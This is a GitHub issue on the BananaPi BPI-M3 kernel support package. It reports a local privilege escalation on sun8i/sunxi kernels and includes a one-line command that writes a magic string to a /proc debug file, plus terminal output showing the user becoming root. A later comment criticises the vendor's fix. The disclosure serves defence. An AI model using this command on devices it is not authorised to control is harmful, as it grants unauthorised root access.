BPI-SINOVOIP / BPI-M3-bsp

Supports BananaPi BPI -M3 (Kernel3.4)
46 stars 47 forks source link

Local privileges escalation on sun8i #10

Open ThomasKaiser opened 8 years ago

ThomasKaiser commented 8 years ago

Check and fix please:

tk@bananapim3:~$ id
uid=1000(tk) gid=1000(tk) groups=1000(tk),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev)
tk@bananapim3:~$ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
tk@bananapim3:~$ id
uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev),1000(tk)
ThomasKaiser commented 8 years ago

Do you really consider these weird and complicated instructions a 'fix'?

Why don't you put the relevant stuff on Github and implement a simple script that does everything that's needed. I proposed that already in your forums and pointed you to longsleep's work for Pine64 you could easily adopt: https://raw.githubusercontent.com/longsleep/build-pine64-image/master/simpleimage/platform-scripts/pine64_update_kernel.sh